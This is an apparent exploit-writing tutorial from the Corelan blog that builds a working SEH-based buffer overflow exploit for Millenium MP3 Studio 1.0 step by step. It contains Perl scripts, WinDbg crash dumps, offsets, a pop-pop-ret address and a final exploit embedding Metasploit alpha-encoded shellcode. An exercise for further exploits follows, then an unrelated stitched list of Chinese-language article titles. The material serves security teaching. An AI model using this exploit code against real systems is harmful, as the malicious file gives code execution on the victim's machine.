I have indicated that SEH needs to be overwritten by a pointer to “pop pop ret” and that next SEH needs to be overwritten with 6 bytes to jump over SEH… Of course, this structure was based on the logic of most SEH based vulnerabilities, and more specifically on the vulnerability in Easy RM to MP3 Player. So it’s just an example behind the concept of SEH based vulnerabilities. You really need to look to all registers, work with breakpoints, etc, to see where your payload / shellcode resides… look at your stack and then build the payload structure accordingly…  Just be creative.

Sometimes you get lucky and the payload can be built almost blindfolded. Sometimes you don’t get lucky, but you can still turn a somewhat hard to exploit vulnerability into a stable exploit that works across various versions of the operating system.   And sometimes you will need to hardcode addresses because that is the only way to make things work. Either way, most exploits don’t look the same. They are manual and handcrafted work, based on the specific properties of a given vulnerability and the available methods to exploit the vulnerability.

In today’s tutorial, we’ll look at building an exploit for a vulnerability that was discovered in Millenium MP3 Studio 1.0, as reported at http://www.milw0rm.com/exploits/9277.

You can download a local copy of Millenium MP3 Studio here :

  Millenium MP3 Studio (1.7 MiB, 897 hits)
You do not have permission to download this file.

The proof of concept script states that (probably based on the values of the registers), it’s easy to exploit… but it did not seem to work for the person who discovered the flaw and posted this PoC script.

Based on the values in the registers displayed by “Hack4love”, one could conclude that this is a typical stack based overflow, where EIP gets overwritten with the junk buffer… so you need to find the offset to EIP, find the payload in one of the registers, overwrite EIP with a “jump to…” and that’s it ?   Well… not exactly.

Let’ see.   Create a file with “http://”+5000 A’s… What do you get when you run the application via windbg and open the file ?   We’ll create a mpf file :

my $sploitfile="c0d3r.mpf";
my $junk = "http://";
$junk=$junk."A"x5000;
my $payload=$junk;
print " [+] Writing exploit file $sploitfile\n";
open (myfile,">$sploitfile");
print myfile $payload;close (myfile);
print " [+] File written\n";
print " [+] " . length($payload)." bytes\n";

Open windbg and open the mp3studio executable. Run the application and open the file. (I’m not going to repeat these instructions every time, I assume you know the drill by now)

First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0012f9b8 ebx=0012f9b8 ecx=00000000 edx=41414141 esi=0012e990 edi=00faa68c
eip=00403734 esp=0012e97c ebp=0012f9c0 iopl=0
nv up ei pl nz na pe nccs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000
efl=00010206*** WARNING: Unable to verify checksum for image
00400000*** ERROR: Module load completed but symbols could not be loaded for image
00400000image00400000+0x3734:00403734 8b4af8 mov ecx,dword ptr [edx-8] ds:0023:41414139=????????
Missing image name, possible paged-out or corrupt data.
Right, access violation… but the registers are nowhere near the ones mentioned in the PoC script. So either the buffer length is wrong (to trigger a typical stack based EIP overwrite overflow), or it’s a SEH based issue.  Look at the SEH Chain to find out :
0:000> !exchain0012f9a0:
<Unloaded_ud.drv>+41414140 (41414141)
Invalid exception stack at 41414141

ah, ok. Both the SE Handler and the next SEH are overwritten. So it’s a SEH based exploit.

Build another file with a 5000 character Metasploit pattern in order to find the offset to next SEH and SE Handler :

Now SEH chain looks like this :

0:000> !exchain0012f9a0:
<Unloaded_ud.drv>+30684638 (30684639)
Invalid exception stack at 67463867

So SE Handler was overwritten with 0×39466830 (little endian, remember), and next SEH was overwritten with 0×67384667

  • SE Handler : 0×39466830 = 9Fh0 (pattern offset 4109)
  • next SEH : 0×67384667 = g8Fg (pattern offset 4105)

This makes sense.

Now, in a typical SEH exploit, you would build your payload like this :

  • - first 4105 junk characters (and get rid of some nasty characters such as the 2 backslashes after http: + added a couple of A’s to keep the amount of characters in groups of 4)
  • - then overwrite next SEH with jumpcode (0xeb,0×06,0×90,0×90) to jump over SE Handler and land on the shellcode
  • - then overwrite SE Handler with a pointer to pop pop ret
  • - then put your shellcode (surrounded by nops if necessary) and append more data if required

or, in perl (still using some fake content just to verify the offsets) :

my $totalsize=5005;
my $sploitfile="c0d3r.mpf";
my $junk = "http:AA";
$junk=$junk."A" x 4105;
my $nseh="BBBB";
my $seh="CCCC";
my $shellcode="D"x($totalsize-length($junk.$nseh.$seh));
my $payload=$junk.$nseh.$seh.$shellcode;
print " [+] Writing exploit file $sploitfile\n";
open (myfile,">$sploitfile");
print myfile $payload;
close (myfile);
print " [+] File written\n";
print " [+] " . length($payload)."
Crash :
(ac0.ec0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.eax=0012fba4 ebx=0012fba4 ecx=00000000 edx=44444444 esi=0012eb7c edi=00fb1c84
eip=00403734 esp=0012eb68 ebp=0012fbac iopl=0
nv up ei pl nz na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000
efl=00010206*** WARNING: Unable to verify checksum for image
00400000*** ERROR: Module load completed but symbols could not be loaded for image00400000image00400000+0x3734:00403734 8b4af8  mov     ecx,dword ptr [edx-8] ds:0023:4444443c=????????Missing image name, possible paged-out or corrupt data.0:000> !exchain0012fb8c:
<Unloaded_ud.drv>+43434342 (43434343)
Invalid exception stack at 42424242
So SE Handler was overwritten with 43434343 (4 C’s, as expected), and next SEH was overwritten with 42424242 (4 B’s, as expected).
Let’s replace the SE Handler with a pointer to pop pop ret, and replace next SEH with 4 breakpoints. (no jumpcode yet, we just want to find our payload) :
Look at the list of loaded modules and try to find a pop pop ret in one of the modules.  (You can use the Ollydbg “SafeSEH” plugin to see whether the modules are compiled with safeSEH or not).
xaudio.dll, one of the application dll’s, contains multiple pop pop ret’s. We’ll use the one at 0x1002083D :
my $totalsize=5005;
my $sploitfile="c0d3r.mpf";
my $junk = "http:AA";
$junk=$junk."A" x 4105;
my $nseh="\xcc\xcc\xcc\xcc"; #breakpoint, sploit should stop here
my $seh=pack('V',0x1002083D);
my $shellcode="D"x($totalsize-length($junk.$nseh.$seh));
my $payload=$junk.$nseh.$seh.$shellcode;#
print " [+] Writing exploit file $sploitfile\n";
open (myfile,">$sploitfile");
print myfile $payload;
close (myfile);
print " [+] File written\n";
print " [+] " . length($payload)." bytes\n";

At the first Access violation, we passed the exception back to the application.  pop pop ret was executed and you should end up on the breakpoint code (in nseh)

Now where is our payload ?  It should look like a lot of D’s (after seh)…  but it could be A’s as well (at the beginning of the buffer – let’s find out) :

If the payload is after seh, (and the application stopped at our break), then EIP should now point to the first byte of nseh (our breakpoint code), and thus a dump eip should show nseh, followed by seh, followed by the shellcode :
0:000> d eip
0012f9a0  cc cc cc cc 3d 08 02 10-44 44 44 44 44 44 44 44  ....=...DDDDDDDD
0012f9b0  44 44 44 44 44 44 44 44-00 00 00 00 44 44 44 44  DDDDDDDD....DDDD
0012f9c0  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
0012f9d0  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
0012f9e0  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
0012f9f0  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
0012fa00  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
0012fa10  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD

Ok, that looks promising, however we can see some null bytes after about 32bytes (in blue)… so we have 2 options : use the 4 bytes of code at nseh to jump over seh, and then use those 16 bytes to jump over the null bytes.  Or jump directly from nseh to the shellcode.

First, let’s verify that we are really looking at the start of the shellcode (by replacing the first D’s with some easily recognized data) :
my $totalsize=5005;
my $sploitfile="c0d3r.mpf";
my $junk = "http:AA";
$junk=$junk."A" x 4105;
my $nseh="\xcc\xcc\xcc\xcc";
my $seh=pack('V',0x1002083D);
my $shellcode="A123456789B123456789C123456789D123456789";
my $junk2 = "D" x ($totalsize-length($junk.$nseh.$seh.$shellcode));
my $payload=$junk.$nseh.$seh.$shellcode.$junk2;
print " [+] Writing exploit file $sploitfile\n";
open (myfile,">$sploitfile");
print myfile $payload;close (myfile);
print " [+] File written\n";
print " [+] " . length($payload)." bytes\n";
(b60.cc0): Break instruction exception - code 80000003 (first chance)
eax=00000000 ebx=0012e694 ecx=1002083d edx=7c9032bc esi=7c9032a8 edi=00000000
eip=0012f9a0 esp=0012e5b8 ebp=0012e5cc iopl=0
nv up ei pl zr na pe nccs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000
efl=00000246<Unloaded_ud.drv>+0x12f99f:
0012f9a0 cc int 3
0:000> d eip
0012f9a0 cc cc cc cc 3d 08 02 10-41 31 32 33 34 35 36 37 ....=...A1234567
0012f9b0 38 39 42 31 32 33 34 35-00 00 00 00 43 31 32 33 89B12345....C123
0012f9c0 34 35 36 37 38 39 44 31-32 33 34 35 36 37 38 39 456789D123456789
0012f9d0 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
0012f9e0 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
0012f9f0 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
0012fa00 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
0012fa10 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
Ok, so it is the beginning of the shellcode, but there is a little “hole” after the first couple of shellcode bytes… (see null bytes in red)
Let’s say we want to jump over the hole, and start the shellcode with 4 NOP’s (so we can put our real shellcode at 0012f9c0… basically use 24 NOP’s in total before the shellcode), then we need to jump (from nseh) 30 bytes.  (That’s 0xeb,0x1e), then we can do this :
my $totalsize=5005;
my $sploitfile="c0d3r.mpf";
my $junk = "http:AA";
$junk=$junk."A" x 4105;
my $nseh="\xeb\x1e\x90\x90"; #jump 30 bytes
my $seh=pack('V',0x1002083D);
my $nops = "\x90" x 24;
my $shellcode="\xcc\xcc\xcc\xcc";
my $junk2 = "D" x ($totalsize-length($junk.$nseh.$seh.$nops.$shellcode));
my $payload=$junk.$nseh.$seh.$nops.$shellcode.$junk2;
print " [+] Writing exploit file $sploitfile\n";
open (myfile,">$sploitfile");
print myfile $payload;close (myfile);
print " [+] File written\n";
print " [+] " . length($payload)." bytes\n";
Open the mpf file and you should be stopped at the breakpoint (at 0x0012f9c0) after passing the first exception to the application :
(1a4.9d4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0012f9b8 ebx=0012f9b8 ecx=00000000 edx=90909090 esi=0012e990 edi=00fabf9c
eip=00403734 esp=0012e97c ebp=0012f9c0 iopl=0
nv up ei ng nz na pe nccs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000
efl=00010286*** WARNING: Unable to verify checksum for image
00400000*** ERROR: Module load completed but symbols could not be loaded for image
00400000image00400000+0x3734:
00403734 8b4af8 mov ecx,dword ptr [edx-8] ds:0023:90909088=????????
Missing image name, possible paged-out or corrupt data.0:000> g
(1a4.9d4): Break instruction exception - code 80000003 (first chance)
eax=00000000 ebx=0012e694 ecx=1002083d edx=7c9032bc esi=7c9032a8 edi=00000000
eip=0012f9c0 esp=0012e5b8 ebp=0012e5cc iopl=0
nv up ei pl zr na pe nccs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000
efl=00000246<Unloaded_ud.drv>+0x12f9bf:
0012f9c0 cc int 3

Ok, now replace the breaks with real shellcode and finalize the script :

# [+] Vulnerability   : .mpf File Local Stack Overflow Exploit (SEH) #2
# [+] Product      : Millenium MP3 Studio
# [+] Versions affected : v1.0
# [+] Download          : http://www.software112.com/products/mp3-millennium+download.html
# [+] Method       : seh
# [+] Tested on         : Windows XP SP3 En
# [+] Written by        : corelanc0d3r  (corelanc0d3r[at]gmail[dot]com
# [+] Greetz to         : Saumil & SK
# Based on PoC/findings by HACK4LOVE ( http://milw0rm.com/exploits/9277
# -----------------------------------------------------------------------------
#                                               MMMMM~.
#                                               MMMMM?.
#    MMMMMM8.  .=MMMMMMM.. MMMMMMMM, MMMMMMM8.  MMMMM?. MMMMMMM:   MMMMMMMMMM.
#  MMMMMMMMMM=.MMMMMMMMMMM.MMMMMMMM=MMMMMMMMMM=.MMMMM?7MMMMMMMMMM: MMMMMMMMMMM:
#  MMMMMIMMMMM+MMMMM$MMMMM=MMMMMD$I8MMMMMIMMMMM~MMMMM?MMMMMZMMMMMI.MMMMMZMMMMM:
#  MMMMM==7III~MMMMM=MMMMM=MMMMM$. 8MMMMMZ$$$$$~MMMMM?..MMMMMMMMMI.MMMMM+MMMMM:
#  MMMMM=.     MMMMM=MMMMM=MMMMM7. 8MMMMM?    . MMMMM?NMMMM8MMMMMI.MMMMM+MMMMM:
#  MMMMM=MMMMM+MMMMM=MMMMM=MMMMM7. 8MMMMM?MMMMM:MMMMM?MMMMMIMMMMMO.MMMMM+MMMMM:
#  =MMMMMMMMMZ~MMMMMMMMMM8~MMMMM7. .MMMMMMMMMMO:MMMMM?MMMMMMMMMMMMIMMMMM+MMMMM:
#  .:$MMMMMO7:..+OMMMMMO$=.MMMMM7.  ,IMMMMMMO$~ MMMMM?.?MMMOZMMMMZ~MMMMM+MMMMM:
#     .,,,..      .,,,,.   .,,,,,     ..,,,..   .,,,,.. .,,...,,,. .,,,,..,,,,.
#                                                                   eip hunters
# -----------------------------------------------------------------------------
#
# Script provided for educational purposes only.
#
#
#
my $totalsize=5005;
my $sploitfile="c0d3r.m3u";
my $junk = "http:AA";
$junk=$junk."A" x 4105;
my $nseh="\xeb\x1e\x90\x90";  #jump 30 bytes
my $seh=pack('V',0x1002083D);  #pop pop ret from xaudio.dll
my $nops = "\x90" x 24;
# windows/exec - 303 bytes
# http://www.metasploit.com
# Encoder: x86/alpha_upper
# EXITFUNC=seh, CMD=calc
my $shellcode="\x89\xe6\xda\xdb\xd9\x76\xf4\x58\x50\x59\x49\x49\x49\x49" .
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" .
"\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41" .
"\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42" .
"\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4b" .
"\x58\x50\x44\x45\x50\x43\x30\x43\x30\x4c\x4b\x51\x55\x47" .
"\x4c\x4c\x4b\x43\x4c\x45\x55\x43\x48\x45\x51\x4a\x4f\x4c" .
"\x4b\x50\x4f\x45\x48\x4c\x4b\x51\x4f\x47\x50\x45\x51\x4a" .
"\x4b\x51\x59\x4c\x4b\x50\x34\x4c\x4b\x45\x51\x4a\x4e\x50" .
"\x31\x49\x50\x4d\x49\x4e\x4c\x4c\x44\x49\x50\x42\x54\x43" .
"\x37\x49\x51\x49\x5a\x44\x4d\x43\x31\x48\x42\x4a\x4b\x4b" .
"\x44\x47\x4b\x51\x44\x47\x54\x45\x54\x42\x55\x4b\x55\x4c" .
"\x4b\x51\x4f\x46\x44\x43\x31\x4a\x4b\x42\x46\x4c\x4b\x44" .
"\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x43\x31\x4a\x4b\x4c" .
"\x4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4d\x59\x51\x4c\x51" .
"\x34\x45\x54\x48\x43\x51\x4f\x50\x31\x4a\x56\x43\x50\x51" .
"\x46\x45\x34\x4c\x4b\x47\x36\x46\x50\x4c\x4b\x47\x30\x44" .
"\x4c\x4c\x4b\x44\x30\x45\x4c\x4e\x4d\x4c\x4b\x43\x58\x45" .
"\x58\x4b\x39\x4b\x48\x4b\x33\x49\x50\x43\x5a\x46\x30\x42" .
"\x48\x4a\x50\x4c\x4a\x44\x44\x51\x4f\x42\x48\x4a\x38\x4b" .
"\x4e\x4d\x5a\x44\x4e\x51\x47\x4b\x4f\x4a\x47\x42\x43\x45" .
"\x31\x42\x4c\x45\x33\x45\x50\x41\x41";
my $junk2 = "D" x ($totalsize-length($junk.$nseh.$seh.$nops.$shellcode));
my $payload=$junk.$nseh.$seh.$nops.$shellcode.$junk2;
#
print " [+] Writing exploit file $sploitfile\n";
open (myfile,">$sploitfile");
print myfile $payload;
close (myfile);
print " [+] File written\n";
print " [+] " . length($payload)." bytes\n";

pwned !  (and submitted this one to milw0rm :)) : see Millenium MP3 Studio 1.0 .mpf File Local Stack Overflow Exploit #2

You can find the list of all of my exploits that are published on milw0rm at http://www.milw0rm.com/author/2052

Exercise

Now I have a nice little exercise for you :  try to build a working exploit for m3u files, and see if you can find a way to use an EIP overwrite (instead of SEH)
Quick note : shellcode does not have to be placed after nseh/seh… it can also be put in the first part of the payload buffer, and sometimes you have to
  • use a small buffer location to write some jumpcode, so you can jump to the real shellcode
  • hardcode an address (if nothing else works)
The SEH based exploit for m3u files is almost identical to the mpf version, so I’m not going to discuss this one here

If you want to discuss this exercise, please register/log in, and open a dicussion on the forum : http://www.corelan.be:8800/index.php/forum/writing-exploits/

(I might just post the solution on the forum in a couple of days as well).
Stay tuned for more information, and tips&tricks on exploit writing…

Update : one of the users on this blog/forum (mancu37) has posted an alternative exploit for this vulnerability (based on direct RET overwrite). You can find his PoC exploit at http://www.corelan.be:8800/index.php/forum/writing-exploits/exploit-for-m3u-file-eip-overwrite-additional-excercise-of-tutorial-3-part-b/.  Good job mancu37 !

© 2009 – 2011, Corelan Team (corelanc0d3r). All rights reserved.

Exploit writing tutorial part 3b : SEH Based Exploits – just another example相关推荐

  1. 有史以来最漂亮的游戏机

    The recent reveal of the PlayStation 5's design has divided the gaming world. There are those who ap ...

  2. 利用 SEH 机制 Exploit it

    SEH("Structured Exception Handling"),即结构化异常处理,是(windows)操作系统提供给程序设计者的强有力的处理程序错误或异常的武器. 有漏洞 ...

  3. 如何入侵目标的网络DIY指南

    相关链接:http://www.freebuf.com/news/40689.html _ _ _ ____ _ _ | | | | __ _ ___| | __ | __ ) __ _ ___| | ...

  4. A DIY Guide for those without the pati

    为什么80%的码农都做不了架构师?>>>    _   _            _      ____             _    _                 | | ...

  5. Exploit开发系列教程-Exploitme1 (“ret eip” overwrite) More space on stack

    P3nro5e · 2015/10/28 10:44 from: expdev-kiuhnm.rhcloud.com/2015/05/26/- expdev-kiuhnm.rhcloud.com/20 ...

  6. Metasploit Framework下的Exploit应用开发中文手册

    为了方便大家手记,以下内容有PDF转化而来,如果不方便阅读或遇错,请下载PDF版本阅读! 作者:gz1x [gz1x@tom.com]                   [目录]   目录----- ...

  7. How to Using exploits.

    国外的资料,英文不好的话自己查下字典 By RoMeO I will discuss ways to handle and compile exploits. Alot of exploits com ...

  8. 攻击windows异常处理机制SEH

    转载自个人博客0pt1mus 0x00 简介 本文主要有两个部分.第一部分介绍windows异常处理机制中的SEH,详细介绍SEH的工作原理.第二部分介绍如何通过栈溢出实现利用SEH来绕过GS. 0x ...

  9. HTB Optimum[Hack The Box HTB靶场]writeup系列6

    这是HTB retire machine的第六台靶机 目录 0x00 靶机情况 0x01 信息搜集 端口扫描 检索应用 0x02 get webshell 0x03 提权 mfs中查找提权程序 执行s ...

最新文章

  1. 来自程序员的福利!用Python做一款翻译软件
  2. java删除jtable一行的值_JTable中删除一行数据
  3. 神经网络原来这么简单,机器学习入门贴送给你 | 干货
  4. [每天进步一点 -- 流水账]第3周
  5. 易语言逐条读access数据_易语言对ACCESS数据库基础(适合新手)
  6. ios retain 与 copy 的区别
  7. 别说我不会玩,我来告诉你iPhone有多烂!iPhone缺点集
  8. 4.Model Validation
  9. Spring Cloud 服务治理
  10. 作为新手程序员,掉过的那些坑!
  11. java生僻字_Android上显示生僻字的方法
  12. 报错:libtool: Version mismatch error. This is libtool 2.4.6解决
  13. Java基础教程【第三章:Java运算符】
  14. 实现Windows访问Linux文件系统
  15. matlab实验感悟,2019年matlab实验心得体会学习matlab的心得体会
  16. Youtube视频传输规律
  17. ffmpeg 分割和合并
  18. 平面设计的基础知识有哪些?
  19. 零基础学Python需要用到哪些软件?
  20. kernel启动流程-head.S的执行_3.preserve_boot_args

热门文章

  1. php京东宙斯平台授权源码,好京客云平台授权京东宙斯
  2. day02-Pandas
  3. 上海锦隆驾校「科目二」2019年考试心得实录
  4. python subprocess使用_python利用subprocess执行交互命令
  5. 2022大数据技术使这些行业发生大变化
  6. 2021.1.16课堂测试2
  7. javascript 优雅实现时间格式化
  8. 英雄联盟《双城之战》视频弹幕爬取并分析输出词云
  9. 合金装备幸存服务器维护,游戏新消息:PCGamer评100大最佳PC游戏巫师3霸气登顶...
  10. python调用nastran_基于python:Nastran多工况强度分析,根据Excel生成bdf